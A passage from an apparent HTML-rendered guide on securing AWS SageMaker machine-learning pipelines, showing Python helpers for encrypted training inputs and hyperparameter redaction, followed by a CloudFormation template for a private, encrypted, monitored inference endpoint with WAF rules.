                <span class="sh">'</span><span class="s">CompressionType</span><span class="sh">'</span><span class="p">:</span> <span class="n">data_source</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">compression</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">None</span><span class="sh">'</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">InputMode</span><span class="sh">'</span><span class="p">:</span> <span class="n">data_source</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">input_mode</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">File</span><span class="sh">'</span><span class="p">)</span>
            <span class="p">}</span>
            
            <span class="c1"># Add encryption configuration
</span>            <span class="k">if</span> <span class="n">kms_key_id</span><span class="p">:</span>
                <span class="n">config</span><span class="p">[</span><span class="sh">'</span><span class="s">DataSource</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">S3DataSource</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">KmsKeyId</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">kms_key_id</span>
            
            <span class="n">input_config</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">config</span><span class="p">)</span>
        
        <span class="k">return</span> <span class="n">input_config</span>
    
    <span class="k">def</span> <span class="nf">_sanitize_hyperparameters</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">hyperparameters</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Sanitize hyperparameters to prevent information leakage</span><span class="sh">"""</span>
        
        <span class="n">sanitized</span> <span class="o">=</span> <span class="p">{}</span>
        
        <span class="c1"># List of sensitive parameter names to exclude
</span>        <span class="n">sensitive_params</span> <span class="o">=</span> <span class="p">[</span>
            <span class="sh">'</span><span class="s">password</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">secret</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">token</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">key</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">credential</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">api_key</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">access_key</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">private_key</span><span class="sh">'</span>
        <span class="p">]</span>
        
        <span class="k">for</span> <span class="n">key</span><span class="p">,</span> <span class="n">value</span> <span class="ow">in</span> <span class="n">hyperparameters</span><span class="p">.</span><span class="nf">items</span><span class="p">():</span>
            <span class="c1"># Check if parameter name is sensitive
</span>            <span class="k">if</span> <span class="nf">any</span><span class="p">(</span><span class="n">sensitive</span> <span class="ow">in</span> <span class="n">key</span><span class="p">.</span><span class="nf">lower</span><span class="p">()</span> <span class="k">for</span> <span class="n">sensitive</span> <span class="ow">in</span> <span class="n">sensitive_params</span><span class="p">):</span>
                <span class="k">continue</span>
            
            <span class="c1"># Convert all values to strings (SageMaker requirement)
</span>            <span class="n">sanitized</span><span class="p">[</span><span class="n">key</span><span class="p">]</span> <span class="o">=</span> <span class="nf">str</span><span class="p">(</span><span class="n">value</span><span class="p">)</span>
        
        <span class="k">return</span> <span class="n">sanitized</span>
    
    <span class="k">def</span> <span class="nf">_setup_training_monitoring</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">job_name</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">environment_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Set up comprehensive monitoring for training job</span><span class="sh">"""</span>
        
        <span class="n">monitoring_config</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">cloudwatch_alarms</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">custom_metrics</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">log_monitoring</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span>
        <span class="p">}</span>
        
        <span class="c1"># CloudWatch alarms would be set up here
</span>        <span class="c1"># Custom metrics collection would be configured
</span>        <span class="c1"># Log monitoring and alerting would be enabled
</span>        
        <span class="k">return</span> <span class="n">monitoring_config</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="model-deployment-security">Model Deployment Security</h2>

<h3 id="secure-inference-endpoints">Secure Inference Endpoints</h3>

<p>Securing model deployment involves protecting inference endpoints, implementing authentication, and monitoring for adversarial attacks.</p>

<h4 id="secure-endpoint-deployment">Secure Endpoint Deployment</h4>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
</pre></td><td class="rouge-code"><pre><span class="c1"># CloudFormation template for secure SageMaker endpoint deployment</span>
<span class="na">AWSTemplateFormatVersion</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2010-09-09'</span>
<span class="na">Description</span><span class="pi">:</span> <span class="s1">'</span><span class="s">Secure</span><span class="nv"> </span><span class="s">SageMaker</span><span class="nv"> </span><span class="s">model</span><span class="nv"> </span><span class="s">endpoint</span><span class="nv"> </span><span class="s">with</span><span class="nv"> </span><span class="s">comprehensive</span><span class="nv"> </span><span class="s">security</span><span class="nv"> </span><span class="s">controls'</span>

<span class="na">Parameters</span><span class="pi">:</span>
  <span class="na">ModelName</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">String</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">Name of the SageMaker model</span>
  
  <span class="na">EndpointName</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">String</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">Name for the inference endpoint</span>
  
  <span class="na">VPCId</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::VPC::Id</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">VPC ID for endpoint deployment</span>
  
  <span class="na">PrivateSubnetIds</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">List&lt;AWS::EC2::Subnet::Id&gt;</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">Private subnet IDs for endpoint</span>
  
  <span class="na">KMSKeyId</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">String</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">KMS key ID for encryption</span>
  
  <span class="na">DataClassification</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">String</span>
    <span class="na">Default</span><span class="pi">:</span> <span class="s">confidential</span>
    <span class="na">AllowedValues</span><span class="pi">:</span> <span class="pi">[</span><span class="nv">public</span><span class="pi">,</span> <span class="nv">internal</span><span class="pi">,</span> <span class="nv">confidential</span><span class="pi">,</span> <span class="nv">restricted</span><span class="pi">]</span>

<span class="na">Resources</span><span class="pi">:</span>
  <span class="c1"># Security group for endpoint</span>
  <span class="na">EndpointSecurityGroup</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::SecurityGroup</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">GroupDescription</span><span class="pi">:</span> <span class="s">Security group for SageMaker endpoint</span>
      <span class="na">VpcId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">VPCId</span>
      <span class="na">SecurityGroupIngress</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">IpProtocol</span><span class="pi">:</span> <span class="s">tcp</span>
          <span class="na">FromPort</span><span class="pi">:</span> <span class="m">443</span>
          <span class="na">ToPort</span><span class="pi">:</span> <span class="m">443</span>
          <span class="na">SourceSecurityGroupId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">ClientSecurityGroup</span>
      <span class="na">SecurityGroupEgress</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">IpProtocol</span><span class="pi">:</span> <span class="s">tcp</span>
          <span class="na">FromPort</span><span class="pi">:</span> <span class="m">443</span>
          <span class="na">ToPort</span><span class="pi">:</span> <span class="m">443</span>
          <span class="na">CidrIp</span><span class="pi">:</span> <span class="s">0.0.0.0/0</span>
      <span class="na">Tags</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Name</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${EndpointName}-endpoint-sg'</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Purpose</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">ML Inference Endpoint</span>

  <span class="c1"># Security group for clients</span>
  <span class="na">ClientSecurityGroup</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::SecurityGroup</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">GroupDescription</span><span class="pi">:</span> <span class="s">Security group for endpoint clients</span>
      <span class="na">VpcId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">VPCId</span>
      <span class="na">SecurityGroupEgress</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">IpProtocol</span><span class="pi">:</span> <span class="s">tcp</span>
          <span class="na">FromPort</span><span class="pi">:</span> <span class="m">443</span>
          <span class="na">ToPort</span><span class="pi">:</span> <span class="m">443</span>
          <span class="na">DestinationSecurityGroupId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">EndpointSecurityGroup</span>
      <span class="na">Tags</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Name</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${EndpointName}-client-sg'</span>

  <span class="c1"># IAM role for endpoint</span>
  <span class="na">EndpointExecutionRole</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::IAM::Role</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">RoleName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${EndpointName}-execution-role'</span>
      <span class="na">AssumeRolePolicyDocument</span><span class="pi">:</span>
        <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2012-10-17'</span>
        <span class="na">Statement</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
            <span class="na">Principal</span><span class="pi">:</span>
              <span class="na">Service</span><span class="pi">:</span> <span class="s">sagemaker.amazonaws.com</span>
            <span class="na">Action</span><span class="pi">:</span> <span class="s">sts:AssumeRole</span>
            <span class="na">Condition</span><span class="pi">:</span>
              <span class="na">StringEquals</span><span class="pi">:</span>
                <span class="s1">'</span><span class="s">aws:RequestedRegion'</span><span class="err">:</span> <span class="kt">!Ref</span> <span class="s">AWS::Region</span>
      <span class="na">ManagedPolicyArns</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="s">arn:aws:iam::aws:policy/AmazonSageMakerFullAccess</span>
      <span class="na">Policies</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">PolicyName</span><span class="pi">:</span> <span class="s">EndpointKMSAccess</span>
          <span class="na">PolicyDocument</span><span class="pi">:</span>
            <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2012-10-17'</span>
            <span class="na">Statement</span><span class="pi">:</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">kms:Decrypt</span>
                  <span class="pi">-</span> <span class="s">kms:DescribeKey</span>
                <span class="na">Resource</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">arn:aws:kms:${AWS::Region}:${AWS::AccountId}:key/${KMSKeyId}'</span>
        <span class="pi">-</span> <span class="na">PolicyName</span><span class="pi">:</span> <span class="s">EndpointLogging</span>
          <span class="na">PolicyDocument</span><span class="pi">:</span>
            <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2012-10-17'</span>
            <span class="na">Statement</span><span class="pi">:</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">logs:CreateLogGroup</span>
                  <span class="pi">-</span> <span class="s">logs:CreateLogStream</span>
                  <span class="pi">-</span> <span class="s">logs:PutLogEvents</span>
                <span class="na">Resource</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">arn:aws:logs:${AWS::Region}:${AWS::AccountId}:*'</span>

  <span class="c1"># VPC endpoint for SageMaker runtime</span>
  <span class="na">SageMakerRuntimeVPCEndpoint</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::EC2::VPCEndpoint</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">VpcId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">VPCId</span>
      <span class="na">ServiceName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">com.amazonaws.${AWS::Region}.sagemaker.runtime'</span>
      <span class="na">VpcEndpointType</span><span class="pi">:</span> <span class="s">Interface</span>
      <span class="na">SubnetIds</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">PrivateSubnetIds</span>
      <span class="na">SecurityGroupIds</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="kt">!Ref</span> <span class="s">EndpointSecurityGroup</span>
      <span class="na">PolicyDocument</span><span class="pi">:</span>
        <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2012-10-17'</span>
        <span class="na">Statement</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
            <span class="na">Principal</span><span class="pi">:</span> <span class="s1">'</span><span class="s">*'</span>
            <span class="na">Action</span><span class="pi">:</span>
              <span class="pi">-</span> <span class="s">sagemaker:InvokeEndpoint</span>
            <span class="na">Resource</span><span class="pi">:</span> <span class="s1">'</span><span class="s">*'</span>
            <span class="na">Condition</span><span class="pi">:</span>
              <span class="na">StringEquals</span><span class="pi">:</span>
                <span class="s1">'</span><span class="s">aws:PrincipalTag/Environment'</span><span class="err">:</span> <span class="s">production</span>

  <span class="c1"># Endpoint configuration</span>
  <span class="na">EndpointConfig</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::SageMaker::EndpointConfig</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">EndpointConfigName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${EndpointName}-config'</span>
      <span class="na">ProductionVariants</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">VariantName</span><span class="pi">:</span> <span class="s">primary</span>
          <span class="na">ModelName</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">ModelName</span>
          <span class="na">InitialInstanceCount</span><span class="pi">:</span> <span class="m">2</span>
          <span class="na">InstanceType</span><span class="pi">:</span> <span class="s">ml.m5.large</span>
          <span class="na">InitialVariantWeight</span><span class="pi">:</span> <span class="m">1.0</span>
          <span class="na">AcceleratorType</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">AWS::NoValue</span>
      <span class="na">DataCaptureConfig</span><span class="pi">:</span>
        <span class="na">EnableCapture</span><span class="pi">:</span> <span class="kc">true</span>
        <span class="na">InitialSamplingPercentage</span><span class="pi">:</span> <span class="m">20</span>
        <span class="na">DestinationS3Uri</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">s3://ml-inference-capture-${AWS::AccountId}/endpoints/${EndpointName}/'</span>
        <span class="na">KmsKeyId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">KMSKeyId</span>
        <span class="na">CaptureOptions</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">CaptureMode</span><span class="pi">:</span> <span class="s">Input</span>
          <span class="pi">-</span> <span class="na">CaptureMode</span><span class="pi">:</span> <span class="s">Output</span>
        <span class="na">CaptureContentTypeHeader</span><span class="pi">:</span>
          <span class="na">CsvContentTypes</span><span class="pi">:</span>
            <span class="pi">-</span> <span class="s">text/csv</span>
          <span class="na">JsonContentTypes</span><span class="pi">:</span>
            <span class="pi">-</span> <span class="s">application/json</span>
      <span class="na">Tags</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Environment</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">production</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">DataClassification</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">DataClassification</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">SecurityLevel</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">high</span>
      <span class="na">KmsKeyId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">KMSKeyId</span>
      <span class="na">AsyncInferenceConfig</span><span class="pi">:</span>
        <span class="na">OutputConfig</span><span class="pi">:</span>
          <span class="na">S3OutputPath</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">s3://ml-async-inference-${AWS::AccountId}/${EndpointName}/output/'</span>
          <span class="na">KmsKeyId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">KMSKeyId</span>
          <span class="na">NotificationConfig</span><span class="pi">:</span>
            <span class="na">SuccessTopic</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">InferenceSuccessTopic</span>
            <span class="na">ErrorTopic</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">InferenceErrorTopic</span>
        <span class="na">ClientConfig</span><span class="pi">:</span>
          <span class="na">MaxConcurrentInvocationsPerInstance</span><span class="pi">:</span> <span class="m">4</span>

  <span class="c1"># SageMaker endpoint</span>
  <span class="na">Endpoint</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::SageMaker::Endpoint</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">EndpointName</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">EndpointName</span>
      <span class="na">EndpointConfigName</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">EndpointConfig</span>
      <span class="na">Tags</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Name</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">EndpointName</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">Environment</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="s">production</span>
        <span class="pi">-</span> <span class="na">Key</span><span class="pi">:</span> <span class="s">DataClassification</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">DataClassification</span>

  <span class="c1"># SNS topics for notifications</span>
  <span class="na">InferenceSuccessTopic</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::SNS::Topic</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">TopicName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${EndpointName}-inference-success'</span>
      <span class="na">DisplayName</span><span class="pi">:</span> <span class="s">Inference Success Notifications</span>
      <span class="na">KmsMasterKeyId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">KMSKeyId</span>

  <span class="na">InferenceErrorTopic</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::SNS::Topic</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">TopicName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${EndpointName}-inference-error'</span>
      <span class="na">DisplayName</span><span class="pi">:</span> <span class="s">Inference Error Notifications</span>
      <span class="na">KmsMasterKeyId</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">KMSKeyId</span>

  <span class="c1"># CloudWatch log group for endpoint</span>
  <span class="na">EndpointLogGroup</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::Logs::LogGroup</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">LogGroupName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">/aws/sagemaker/Endpoints/${EndpointName}'</span>
      <span class="na">RetentionInDays</span><span class="pi">:</span> <span class="m">90</span>
      <span class="na">KmsKeyId</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">arn:aws:kms:${AWS::Region}:${AWS::AccountId}:key/${KMSKeyId}'</span>

  <span class="c1"># CloudWatch alarms for monitoring</span>
  <span class="na">EndpointInvocationsAlarm</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::CloudWatch::Alarm</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">AlarmName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${EndpointName}-high-invocations'</span>
      <span class="na">AlarmDescription</span><span class="pi">:</span> <span class="s">High number of endpoint invocations</span>
      <span class="na">MetricName</span><span class="pi">:</span> <span class="s">Invocations</span>
      <span class="na">Namespace</span><span class="pi">:</span> <span class="s">AWS/SageMaker</span>
      <span class="na">Statistic</span><span class="pi">:</span> <span class="s">Sum</span>
      <span class="na">Period</span><span class="pi">:</span> <span class="m">300</span>
      <span class="na">EvaluationPeriods</span><span class="pi">:</span> <span class="m">2</span>
      <span class="na">Threshold</span><span class="pi">:</span> <span class="m">1000</span>
      <span class="na">ComparisonOperator</span><span class="pi">:</span> <span class="s">GreaterThanThreshold</span>
      <span class="na">Dimensions</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">EndpointName</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">EndpointName</span>
      <span class="na">AlarmActions</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="kt">!Ref</span> <span class="s">InferenceErrorTopic</span>

  <span class="na">EndpointLatencyAlarm</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::CloudWatch::Alarm</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">AlarmName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${EndpointName}-high-latency'</span>
      <span class="na">AlarmDescription</span><span class="pi">:</span> <span class="s">High endpoint latency</span>
      <span class="na">MetricName</span><span class="pi">:</span> <span class="s">ModelLatency</span>
      <span class="na">Namespace</span><span class="pi">:</span> <span class="s">AWS/SageMaker</span>
      <span class="na">Statistic</span><span class="pi">:</span> <span class="s">Average</span>
      <span class="na">Period</span><span class="pi">:</span> <span class="m">300</span>
      <span class="na">EvaluationPeriods</span><span class="pi">:</span> <span class="m">2</span>
      <span class="na">Threshold</span><span class="pi">:</span> <span class="m">10000</span>  <span class="c1"># 10 seconds</span>
      <span class="na">ComparisonOperator</span><span class="pi">:</span> <span class="s">GreaterThanThreshold</span>
      <span class="na">Dimensions</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">EndpointName</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">EndpointName</span>
      <span class="na">AlarmActions</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="kt">!Ref</span> <span class="s">InferenceErrorTopic</span>

  <span class="na">EndpointErrorRateAlarm</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::CloudWatch::Alarm</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">AlarmName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${EndpointName}-high-error-rate'</span>
      <span class="na">AlarmDescription</span><span class="pi">:</span> <span class="s">High endpoint error rate</span>
      <span class="na">MetricName</span><span class="pi">:</span> <span class="s">Invocation4XXErrors</span>
      <span class="na">Namespace</span><span class="pi">:</span> <span class="s">AWS/SageMaker</span>
      <span class="na">Statistic</span><span class="pi">:</span> <span class="s">Sum</span>
      <span class="na">Period</span><span class="pi">:</span> <span class="m">300</span>
      <span class="na">EvaluationPeriods</span><span class="pi">:</span> <span class="m">1</span>
      <span class="na">Threshold</span><span class="pi">:</span> <span class="m">10</span>
      <span class="na">ComparisonOperator</span><span class="pi">:</span> <span class="s">GreaterThanThreshold</span>
      <span class="na">Dimensions</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">EndpointName</span>
          <span class="na">Value</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">EndpointName</span>
      <span class="na">AlarmActions</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="kt">!Ref</span> <span class="s">InferenceErrorTopic</span>

  <span class="c1"># WAF for endpoint protection</span>
  <span class="na">EndpointWebACL</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::WAFv2::WebACL</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${EndpointName}-waf'</span>
      <span class="na">Scope</span><span class="pi">:</span> <span class="s">REGIONAL</span>
      <span class="na">DefaultAction</span><span class="pi">:</span>
        <span class="na">Allow</span><span class="pi">:</span> <span class="pi">{}</span>
      <span class="na">Rules</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">RateLimitRule</span>
          <span class="na">Priority</span><span class="pi">:</span> <span class="m">1</span>
          <span class="na">Statement</span><span class="pi">:</span>
            <span class="na">RateBasedStatement</span><span class="pi">:</span>
              <span class="na">Limit</span><span class="pi">:</span> <span class="m">2000</span>
              <span class="na">AggregateKeyType</span><span class="pi">:</span> <span class="s">IP</span>
          <span class="na">Action</span><span class="pi">:</span>
            <span class="na">Block</span><span class="pi">:</span> <span class="pi">{}</span>
          <span class="na">VisibilityConfig</span><span class="pi">:</span>
            <span class="na">SampledRequestsEnabled</span><span class="pi">:</span> <span class="kc">true</span>
            <span class="na">CloudWatchMetricsEnabled</span><span class="pi">:</span> <span class="kc">true</span>
            <span class="na">MetricName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${EndpointName}-rate-limit'</span>
        <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">IPReputationRule</span>
          <span class="na">Priority</span><span class="pi">:</span> <span class="m">2</span>
          <span class="na">Statement</span><span class="pi">:</span>
            <span class="na">ManagedRuleGroupStatement</span><span class="pi">:</span>
              <span class="na">VendorName</span><span class="pi">:</span> <span class="s">AWS</span>
              <span class="na">Name</span><span class="pi">:</span> <span class="s">AWSManagedRulesAmazonIpReputationList</span>
          <span class="na">OverrideAction</span><span class="pi">:</span>
            <span class="na">None</span><span class="pi">:</span> <span class="pi">{}</span>
          <span class="na">VisibilityConfig</span><span class="pi">:</span>
            <span class="na">SampledRequestsEnabled</span><span class="pi">:</span> <span class="kc">true</span>
            <span class="na">CloudWatchMetricsEnabled</span><span class="pi">:</span> <span class="kc">true</span>
            <span class="na">MetricName</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${EndpointName}-ip-reputation'</span>
        <span class="pi">-</span> <span class="na">Name</span><span class="pi">:</span> <span class="s">KnownBadInputsRule</span>
          <span class="na">Priority</span><span class="pi">:</span> <span class="m">3</span>
          <span class="na">Statement</span><span class="pi">:</span>
            <span class="na">ManagedRuleGroupStatement</span><span class="pi">:</span>
              <span class="na">VendorName</span><span class="pi">:</span> <span class="s">AWS</span>
